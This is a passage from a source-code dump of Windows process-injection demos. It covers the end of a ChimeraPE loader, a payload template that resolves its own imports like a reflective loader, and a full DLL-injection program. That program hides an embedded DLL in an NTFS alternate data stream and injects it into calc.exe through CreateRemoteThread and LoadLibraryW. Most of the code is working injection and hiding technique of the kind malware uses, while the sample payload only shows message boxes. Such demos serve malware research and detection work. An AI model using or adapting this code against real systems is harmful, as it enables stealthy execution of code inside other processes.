ULONGLONG newBase, PVOID modulePtr) 23 | { 24 | BASE_RELOCATION_ENTRY* entry = block; 25 | SIZE_T i = 0; 26 | for (i = 0; i < entriesNum; i++) { 27 | DWORD offset = entry->Offset; 28 | DWORD type = entry->Type; 29 | if (entry == NULL || type == 0) { 30 | break; 31 | } 32 | if (type != RELOC_32BIT_FIELD) { 33 | printf("Not supported relocations format at %d: %d\n", static_cast(i), type); 34 | return false; 35 | } 36 | DWORD* relocateAddr = (DWORD*) ((ULONG_PTR) modulePtr + page + offset); 37 | (*relocateAddr) = static_cast((*relocateAddr) - (ULONG_PTR) oldBase) + newBase; 38 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD)); 39 | } 40 | printf("[+] Applied %d relocations\n", static_cast(i)); 41 | return true; 42 | } 43 | 44 | bool apply_relocations(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr) 45 | { 46 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC); 47 | if (relocDir == NULL) { 48 | printf ("Cannot relocate - application have no relocation table!\n"); 49 | return false; 50 | } 51 | DWORD maxSize = relocDir->Size; 52 | DWORD relocAddr = relocDir->VirtualAddress; 53 | 54 | IMAGE_BASE_RELOCATION* reloc = NULL; 55 | 56 | DWORD parsedSize = 0; 57 | while (parsedSize < maxSize) { 58 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr); 59 | parsedSize += reloc->SizeOfBlock; 60 | 61 | if (reloc->VirtualAddress == NULL || reloc->SizeOfBlock == 0) { 62 | continue; 63 | } 64 | 65 | printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock); 66 | 67 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD); 68 | DWORD page = reloc->VirtualAddress; 69 | 70 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD)); 71 | if (apply_reloc_block32(block, entriesNum, page, oldBase, newBase, modulePtr) == false) { 72 | return false; 73 | } 74 | } 75 | return true; 76 | } 77 | -------------------------------------------------------------------------------- /chimera_pe/src/resource.h: -------------------------------------------------------------------------------- 1 | // resource.h 2 | 3 | #define MY_RESOURCE 101 4 | -------------------------------------------------------------------------------- /chimera_pe/src/resource.rc: -------------------------------------------------------------------------------- 1 | // resource.rc : 2 | 3 | // Microsoft Visual C++ generated resource script. 4 | // 5 | #include "resource.h" 6 | 7 | #define APSTUDIO_READONLY_SYMBOLS 8 | ///////////////////////////////////////////////////////////////////////////// 9 | // 10 | // Generated from the TEXTINCLUDE 2 resource. 11 | // 12 | #include "windows.h" 13 | 14 | ///////////////////////////////////////////////////////////////////////////// 15 | #undef APSTUDIO_READONLY_SYMBOLS 16 | 17 | ///////////////////////////////////////////////////////////////////////////// 18 | 19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK) 20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""windows.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // RCDATA 51 | // 52 | 53 | MY_RESOURCE RCDATA "demo.bin" 54 | 55 | #endif 56 | ///////////////////////////////////////////////////////////////////////////// 57 | -------------------------------------------------------------------------------- /chimera_pe/src/run.bat: -------------------------------------------------------------------------------- 1 | demo.bin -------------------------------------------------------------------------------- /chimera_pe/src/sysutil.cpp: -------------------------------------------------------------------------------- 1 | #include "sysutil.h" 2 | 3 | #include 4 | #include 5 | 6 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); 7 | 8 | bool is_compiled_32b() 9 | { 10 | if (sizeof(LPVOID) == sizeof(DWORD)) { 11 | return true; 12 | } 13 | return false; 14 | } 15 | 16 | bool is_wow64() 17 | { 18 | LPFN_ISWOW64PROCESS fnIsWow64Process; 19 | BOOL bIsWow64 = false; 20 | 21 | //IsWow64Process is not available on all supported versions of Windows. 22 | //Use GetModuleHandle to get a handle to the DLL that contains the function 23 | //and GetProcAddress to get a pointer to the function if available. 24 | 25 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); 26 | if (fnIsWow64Process == NULL) { 27 | return false; 28 | } 29 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { 30 | return false; 31 | } 32 | if (bIsWow64 == TRUE) { 33 | return true; //64 bit 34 | } 35 | return false; //32 bit 36 | } 37 | 38 | bool is_system32b() 39 | { 40 | //is the current application 32 bit? 41 | if (!is_compiled_32b()) { 42 | return false; 43 | } 44 | //check if it is running under WoW 45 | if (is_wow64()) { 46 | return false; 47 | } 48 | return true; 49 | } 50 | -------------------------------------------------------------------------------- /chimera_pe/src/sysutil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool is_compiled_32b(); 4 | bool is_wow64(); 5 | bool is_system32b(); 6 | -------------------------------------------------------------------------------- /chimera_pe/src/target_util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath) 4 | { 5 | HKEY phkResult; 6 | DWORD iMaxLen = szOutPath; 7 | 8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult); 9 | if (res != ERROR_SUCCESS) { 10 | printf("[ERROR] Failed with value = %x\n", res); 11 | return false; 12 | } 13 | 14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen); 15 | if (res != ERROR_SUCCESS) { 16 | printf("[ERROR] Failed with value = %x\n", res); 17 | return false; 18 | } 19 | printf("%S\n", lpwOutPath ); 20 | return true; 21 | } 22 | 23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath) 24 | { 25 | #if defined(_WIN64) 26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); 27 | #else 28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 29 | #endif 30 | printf("%S\n", lpwOutPath ); 31 | return true; 32 | } 33 | 34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath) 35 | { 36 | #if defined(_WIN64) 37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath); 38 | #else 39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath); 40 | #endif 41 | printf("%S\n", lpwOutPath ); 42 | return true; 43 | } 44 | 45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath) 46 | { 47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath); 48 | printf("%S\n", lpwOutPath ); 49 | return true; 50 | } 51 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/README.md: -------------------------------------------------------------------------------- 1 | # chimera_pe_payload_template 2 | This template can be used to extend abilities of ChimeraPE method of injection:
3 | ChimeraPE loader can fill only functions imported from Kernel32.dll
4 | This template allows creating a payload that fills the rest of it's own import table (like a reflective loader)
5 | Demo of the loader you can find here: https://github.com/hasherezade/demos/tree/master/chimera_pe
6 | WARNING: This is a 32-bit version for demo purpose. See the extended version here: https://github.com/hasherezade/chimera_loader 7 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (ChimeraPE_Payload) 3 | 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 6 | 7 | set (srcs 8 | main.cpp 9 | start_actions.cpp 10 | reflective/pe_hdrs_helper.cpp 11 | ) 12 | 13 | set (hdrs 14 | ntddk.h 15 | reflective/pe_hdrs_helper.h 16 | reflective/reflective_imports_load.h 17 | start_actions.h 18 | test.h 19 | ) 20 | 21 | add_executable (ChimeraPE_Payload ${hdrs} ${srcs}) 22 | 23 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 24 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "reflective/reflective_imports_load.h" 4 | 5 | #include "start_actions.h" 6 | 7 | int main(int argc, char **argv) 8 | { 9 | #if defined(_WIN64) 10 | #error 64 bit not supported! Compile this program as 32bit application! 11 | return -1; 12 | #else 13 | if (!apply_imports32()) { 14 | return -2; 15 | } 16 | return start_actions(argc, argv); 17 | #endif 18 | } 19 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/reflective/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 9 | return NULL; 10 | } 11 | const LONG kMaxOffset = 1024; 12 | LONG pe_offset = idh->e_lfanew; 13 | if (pe_offset > kMaxOffset) return NULL; 14 | 15 | IMAGE_NT_HEADERS *inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + pe_offset); 16 | return inh; 17 | } 18 | 19 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id) 20 | { 21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 22 | 23 | //fetch relocation table from current image: 24 | PIMAGE_NT_HEADERS nt_headers = get_nt_hrds((BYTE*) pe_buffer); 25 | if (nt_headers == NULL) return NULL; 26 | 27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 28 | if (peDir->VirtualAddress == NULL) { 29 | return NULL; 30 | } 31 | return peDir; 32 | } 33 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/reflective/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer); 5 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id); 6 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/reflective/reflective_imports_load.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #include "pe_hdrs_helper.h" 6 | 7 | //define functions prototypes 8 | typedef HMODULE (WINAPI *load_lib) ( 9 | _In_ LPCSTR lpLibFileName 10 | ); 11 | 12 | typedef BOOL (WINAPI* virtual_protect) ( 13 | _In_ LPVOID lpAddress, 14 | _In_ SIZE_T dwSize, 15 | _In_ DWORD flNewProtect, 16 | _Out_ PDWORD lpflOldProtect 17 | ); 18 | 19 | 20 | typedef FARPROC (WINAPI* get_proc_addr) ( 21 | _In_ HMODULE hModule, 22 | _In_ LPCSTR lpProcName 23 | ); 24 | 25 | //define handles: 26 | HMODULE kernel32_base = NULL; 27 | load_lib load_lib_ptr = NULL; 28 | virtual_protect virtual_protect_ptr = NULL; 29 | get_proc_addr get_proc_addr_ptr = NULL; 30 | 31 | LPVOID get_module_bgn(BYTE *start) 32 | { 33 | while (start != NULL) { 34 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*) start; 35 | if (get_nt_hrds((BYTE*)idh) != NULL) return idh; 36 | start--; 37 | } 38 | return NULL; 39 | } 40 | 41 | bool init_functions() 42 | { 43 | kernel32_base = GetModuleHandle(L"kernel32.dll"); 44 | if (kernel32_base == NULL) return false; 45 | 46 | load_lib_ptr = (load_lib)GetProcAddress(kernel32_base, "LoadLibraryA"); 47 | virtual_protect_ptr = (virtual_protect)GetProcAddress(kernel32_base, "VirtualProtect"); 48 | get_proc_addr_ptr = (get_proc_addr)GetProcAddress(kernel32_base, "GetProcAddress"); 49 | if (!load_lib_ptr || !virtual_protect_ptr || !get_proc_addr_ptr) { 50 | return false; 51 | } 52 | return true; 53 | } 54 | 55 | bool write_handle_b32(HMODULE hLib, DWORD call_via, LPSTR func_name, LPVOID modulePtr) 56 | { 57 | FARPROC hProc = (FARPROC)get_proc_addr_ptr(hLib, func_name); 58 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via); 59 | DWORD oldProtect; 60 | 61 | virtual_protect_ptr((BYTE*)call_via_ptr, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &oldProtect); 62 | memcpy(call_via_ptr, &hProc, sizeof(DWORD)); 63 | virtual_protect_ptr((BYTE*)call_via_ptr, sizeof(DWORD), oldProtect, &oldProtect); 64 | printf("proc addr: %p -> %p\n", hProc, call_via_ptr); 65 | return true; 66 | } 67 | 68 | bool solve_imported_funcs_b32(LPSTR lib_name, DWORD call_via, DWORD thunk_addr, LPVOID modulePtr) 69 | { 70 | // if handles to functions from user32.dll were filled by the loader 71 | // but in the target - user32.dll was not loaded - it will get loaded now 72 | // and handles will become valid: 73 | HMODULE hLib = load_lib_ptr(lib_name); 74 | if (hLib == NULL) return false; 75 | 76 | //for other unsolved libraries, handles must be retrieved and written: 77 | do { 78 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via); 79 | if (call_via_ptr == NULL) break; 80 | 81 | LPVOID thunk_ptr = (LPVOID)((ULONGLONG)modulePtr + thunk_addr); 82 | if (thunk_ptr == NULL) break; 83 | 84 | DWORD *thunk_val = (DWORD*)thunk_ptr; 85 | DWORD *call_via_val = (DWORD*)call_via_ptr; 86 | if (*call_via_val == 0) { 87 | //nothing to fill, probably the last record 88 | return true; 89 | } 90 | 91 | //those two values are supposed to be the same before the file have imports filled 92 | //so, if they are different it means the handle is already filled 93 | if (*thunk_val == *call_via_val) { 94 | //fill it: 95 | IMAGE_THUNK_DATA32* desc = (IMAGE_THUNK_DATA32*) thunk_ptr; 96 | if (desc->u1.Function == NULL) break; 97 | 98 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME) ((ULONGLONG)modulePtr + desc->u1.AddressOfData); 99 | if (desc->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { 100 | //Imports by ordinals are not supported for now 101 | return false; 102 | } 103 | LPSTR func_name = by_name->Name; 104 | printf("name: %s\n", func_name); 105 | if (!write_handle_b32(hLib, call_via, func_name, modulePtr)) { 106 | //printf("Could not load the handle!\n"); 107 | return false; 108 | } 109 | } 110 | call_via += sizeof(DWORD); 111 | thunk_addr += sizeof(DWORD); 112 | } while (true); 113 | return true; 114 | } 115 | 116 | //fills handles of mapped pe file 117 | bool apply_imports32(LPVOID modulePtr=NULL) 118 | { 119 | if (!modulePtr) { 120 | modulePtr = get_module_bgn((BYTE*)&apply_imports32); 121 | printf("Module Hndl: %p\n", modulePtr); 122 | } 123 | IMAGE_DATA_DIRECTORY *importsDir = get_pe_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); 124 | if (importsDir == NULL) return false; 125 | 126 | if (!init_functions()) return false; 127 | 128 | DWORD maxSize = importsDir->Size; 129 | DWORD parsedSize = 0; 130 | 131 | DWORD impAddr = importsDir->VirtualAddress; 132 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; 133 | 134 | while (parsedSize < maxSize) { 135 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR) modulePtr); 136 | parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR); 137 | 138 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == 0) { 139 | break; 140 | } 141 | 142 | printf("Imported Lib: %x : %x : %x\n", lib_desc->FirstThunk, lib_desc->OriginalFirstThunk, lib_desc->Name); 143 | LPSTR lib_name = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name); 144 | printf("name: %s\n", lib_name); 145 | 146 | DWORD call_via = lib_desc->FirstThunk; 147 | DWORD thunk_addr = lib_desc->OriginalFirstThunk ? lib_desc->OriginalFirstThunk : lib_desc->FirstThunk; 148 | if (thunk_addr == 0) break; 149 | 150 | solve_imported_funcs_b32(lib_name, call_via, thunk_addr, modulePtr); 151 | } 152 | return true; 153 | } -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/start_actions.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "test.h" 3 | 4 | 5 | //this is the new main function, after initialization 6 | //fill it as you like 7 | int start_actions(int argc, char **argv) 8 | { 9 | if (deploy_test() == false) { 10 | return -1; 11 | } 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/start_actions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | //this is the new main function, after initialization: 4 | int start_actions(int argc, char **argv); -------------------------------------------------------------------------------- /chimera_pe_payload_template/src/test.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "Shlwapi.lib") 7 | 8 | bool get_notepad_path(LPWSTR lpwOutPath, DWORD szOutPath) 9 | { 10 | ExpandEnvironmentStrings(L"%windir%\\notepad.exe", lpwOutPath, szOutPath); 11 | printf("%S\n", lpwOutPath ); 12 | return true; 13 | } 14 | 15 | bool show_test_file() 16 | { 17 | DWORD dwRetVal = 0; 18 | WCHAR lpTempPathBuffer[MAX_PATH]; 19 | WCHAR filename[MAX_PATH]; 20 | 21 | dwRetVal = GetTempPath(MAX_PATH, lpTempPathBuffer); 22 | if (dwRetVal > MAX_PATH || (dwRetVal == 0)) { 23 | return false; 24 | } 25 | PathCombine(filename, lpTempPathBuffer, L"hello_world.txt"); 26 | printf("%S\n", filename); 27 | 28 | HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 29 | char data_buf[] = "Fine, everything works :)"; 30 | DWORD writen = 0; 31 | BOOL isOk = WriteFile(hFile, data_buf, strlen(data_buf), &writen, NULL); 32 | CloseHandle(hFile); 33 | if (!isOk) return false; 34 | 35 | WCHAR editor_path[MAX_PATH]; 36 | isOk = get_notepad_path(editor_path, MAX_PATH); 37 | if (!isOk) return false; 38 | ShellExecute(NULL, L"open", editor_path, filename, lpTempPathBuffer, SW_SHOWNORMAL); 39 | 40 | return true; 41 | } 42 | 43 | bool deploy_test() 44 | { 45 | show_test_file(); 46 | 47 | while (true) { 48 | MessageBoxA(NULL, "Hello! You just deployed a ChimeraPE! It works :D","Chimera Payload Template", MB_OK); 49 | Sleep(5000); 50 | } 51 | } -------------------------------------------------------------------------------- /dll_injection/README.md: -------------------------------------------------------------------------------- 1 | # dll_injection 2 | Dll Injection demo
3 | Classic, simple DLL injection
4 | -------------------------------------------------------------------------------- /dll_injection/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (DllInjection) 3 | 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | 6 | set (srcs 7 | main.cpp 8 | sysutil.cpp 9 | ) 10 | 11 | set (hdrs 12 | resource.h 13 | ntddk.h 14 | target_util.h 15 | createproc.h 16 | enumproc.h 17 | map_buffer_into_process.h 18 | inject_with_loadlibrary.h 19 | sysutil.h 20 | ) 21 | 22 | set (rsrc 23 | resource.rc 24 | ) 25 | 26 | add_executable (DllInjection ${rsrc} ${hdrs} ${srcs}) 27 | 28 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 29 | -------------------------------------------------------------------------------- /dll_injection/src/createproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi) 4 | { 5 | STARTUPINFO si; 6 | memset(&si, 0, sizeof(STARTUPINFO)); 7 | si.cb = sizeof(STARTUPINFO); 8 | 9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 10 | 11 | if (!CreateProcess( 12 | NULL, 13 | path, 14 | NULL, //lpProcessAttributes 15 | NULL, //lpThreadAttributes 16 | FALSE, //bInheritHandles 17 | CREATE_SUSPENDED, //dwCreationFlags 18 | NULL, //lpEnvironment 19 | NULL, //lpCurrentDirectory 20 | &si, //lpStartupInfo 21 | &pi //lpProcessInformation 22 | )) 23 | { 24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError()); 25 | return false; 26 | } 27 | return true; 28 | } 29 | -------------------------------------------------------------------------------- /dll_injection/src/demo.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/dll_injection/src/demo.bin -------------------------------------------------------------------------------- /dll_injection/src/enumproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax) 5 | { 6 | HMODULE hMod; 7 | DWORD cbNeeded; 8 | 9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) { 10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax ); 11 | return true; 12 | } 13 | return false; 14 | } 15 | 16 | bool is_searched_process( DWORD processID, LPWSTR searchedName) 17 | { 18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); 19 | if (hProcess == NULL) return false; 20 | 21 | WCHAR szProcessName[MAX_PATH]; 22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) { 23 | if (wcsstr(szProcessName, searchedName) != NULL) { 24 | printf( "%S (PID: %u)\n", szProcessName, processID ); 25 | CloseHandle(hProcess); 26 | return true; 27 | } 28 | } 29 | CloseHandle(hProcess); 30 | return false; 31 | } 32 | 33 | HANDLE find_running_process(LPWSTR searchedName) 34 | { 35 | DWORD aProcesses[1024], cbNeeded, cProcesses; 36 | unsigned int i; 37 | 38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) { 39 | return NULL; 40 | } 41 | 42 | //calculate how many process identifiers were returned. 43 | cProcesses = cbNeeded / sizeof(DWORD); 44 | 45 | //search handle to the process of defined name 46 | for ( i = 0; i < cProcesses; i++ ) { 47 | if( aProcesses[i] != 0 ) { 48 | if (is_searched_process(aProcesses[i], searchedName)) { 49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]); 50 | return hProcess; 51 | } 52 | } 53 | } 54 | return NULL; 55 | } -------------------------------------------------------------------------------- /dll_injection/src/inject_with_loadlibrary.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "ntddk.h" 4 | 5 | #include "map_buffer_into_process.h" 6 | 7 | HANDLE inject_with_loadlibrary(HANDLE hProcess, WCHAR *inject_path) 8 | { 9 | SIZE_T inject_path_size = wcslen(inject_path) * sizeof(WCHAR); 10 | //we need to write the full path of the DLL into the remote process: 11 | 12 | PVOID remote_ptr = map_buffer_into_process1(hProcess, (BYTE*)inject_path, inject_path_size, PAGE_READWRITE); 13 | printf("Path writen to: %p\n", remote_ptr); 14 | 15 | HMODULE hModule = GetModuleHandle(L"kernel32.dll"); 16 | if (!hModule) return NULL; 17 | 18 | FARPROC hLoadLib = GetProcAddress(hModule, "LoadLibraryW"); 19 | if (!hLoadLib) return NULL; 20 | 21 | // Inject to the remote process: 22 | return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLib, remote_ptr, NULL, NULL); 23 | } -------------------------------------------------------------------------------- /dll_injection/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "resource.h" 7 | 8 | #include "createproc.h" 9 | #include "enumproc.h" 10 | #include "target_util.h" 11 | 12 | #include "inject_with_loadlibrary.h" 13 | #include "sysutil.h" 14 | 15 | #pragma comment(lib, "Shlwapi.lib") 16 | 17 | BYTE* get_raw_payload(OUT SIZE_T &res_size) 18 | { 19 | HMODULE hInstance = GetModuleHandle(NULL); 20 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA); 21 | if (!res) return NULL; 22 | 23 | HGLOBAL res_handle = LoadResource(NULL, res); 24 | if (res_handle == NULL) return NULL; 25 | 26 | BYTE* res_data = (BYTE*) LockResource(res_handle); 27 | res_size = SizeofResource(NULL, res); 28 | 29 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 30 | memcpy(out_buf, res_data, res_size); 31 | 32 | FreeResource(res_handle); 33 | return out_buf; 34 | } 35 | 36 | BOOL write_to_file(BYTE* res_data, SIZE_T res_size, WCHAR* payloadName) 37 | { 38 | HANDLE hFile = CreateFile(payloadName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0); 39 | if (hFile == NULL) return FALSE; 40 | 41 | DWORD written = 0; 42 | BOOL isDropped = WriteFile(hFile, res_data, res_size, &written, NULL); 43 | CloseHandle(hFile); 44 | 45 | if (isDropped == TRUE) { 46 | if (res_size != written) { //failed to write full buffer 47 | DeleteFile(payloadName); 48 | return FALSE; 49 | } 50 | } 51 | return TRUE; 52 | } 53 | 54 | bool drop_dll_to_dir(WCHAR* inject_path) 55 | { 56 | BYTE* res_data = NULL; 57 | SIZE_T res_size = 0; 58 | 59 | if ((res_data = get_raw_payload(res_size)) == NULL) { 60 | printf("Failed!\n"); 61 | return false; 62 | } 63 | printf("inject_path = %S\n", inject_path); 64 | 65 | //drop the DLL on the disk: 66 | if (!write_to_file(res_data, res_size, inject_path)) return false; 67 | return true; 68 | } 69 | 70 | HANDLE get_target() 71 | { 72 | WCHAR target_name[] = L"calc.exe"; 73 | HANDLE hProcess = find_running_process(target_name); 74 | if (hProcess != NULL) { 75 | return hProcess; 76 | } 77 | 78 | WCHAR target_path[MAX_PATH]; 79 | get_calc_path(target_path, MAX_PATH); 80 | PROCESS_INFORMATION pi; 81 | memset(&pi,0, sizeof(PROCESS_INFORMATION)); 82 | create_new_process1(target_path, pi); 83 | if (pi.hProcess == NULL) { 84 | return NULL; 85 | } 86 | hProcess = pi.hProcess; 87 | ResumeThread(pi.hThread); //optional 88 | return hProcess; 89 | } 90 | 91 | int main(int argc, char *argv[]) 92 | { 93 | if (!is_compiled_32b()) { 94 | printf("[ERROR] Not supported! Compile the loader as a 32 bit application!\n"); 95 | system("pause"); 96 | return (-1); 97 | } 98 | HANDLE hProcess = get_target(); 99 | if (!hProcess) { 100 | printf("Could not fetch the target\n"); 101 | system("pause"); 102 | return -1; 103 | } 104 | //buffer to store the full path: 105 | WCHAR inject_path[MAX_PATH]; 106 | 107 | //we will drop the dll into ADS: 108 | WCHAR my_lib[] = L"log.txt:hidden_dll"; 109 | 110 | WCHAR dir_path[MAX_PATH]; 111 | GetTempPath(MAX_PATH, dir_path); 112 | PathCombine(inject_path, dir_path, my_lib); 113 | 114 | if (!drop_dll_to_dir(inject_path)) return -1; 115 | 116 | if (!inject_with_loadlibrary(hProcess, inject_path)) { 117 | //injection failed, delete the dropped dll: 118 | DeleteFile(inject_path); 119 | printf("Failed!\n"); 120 | } 121 | system("pause"); 122 | return 0; 123 | } 124 | -------------------------------------------------------------------------------- /dll_injection/src/map_buffer_into_process.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include // for printf 3 | #include 4 | #include "ntddk.h" 5 | 6 | //set of alternative functions doing the same by a different way 7 | 8 | PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) 9 | { 10 | HANDLE hSection = NULL; 11 | OBJECT_ATTRIBUTES hAttributes; 12 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES)); 13 | 14 | LARGE_INTEGER maxSize; 15 | maxSize.HighPart = 0; 16 | maxSize.LowPart = static_cast(buffer_size); 17 | NTSTATUS status = NULL; 18 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS) 19 | { 20 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status); 21 | return NULL; 22 | } 23 | printf("Section handle: %p\n", hSection); 24 | 25 | PVOID sectionBaseAddress = NULL; 26 | SIZE_T viewSize = 0; 27 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE 28 | 29 | // map the section in context of current process: 30 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS) 31 | { 32 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 33 | return NULL; 34 | } 35 | 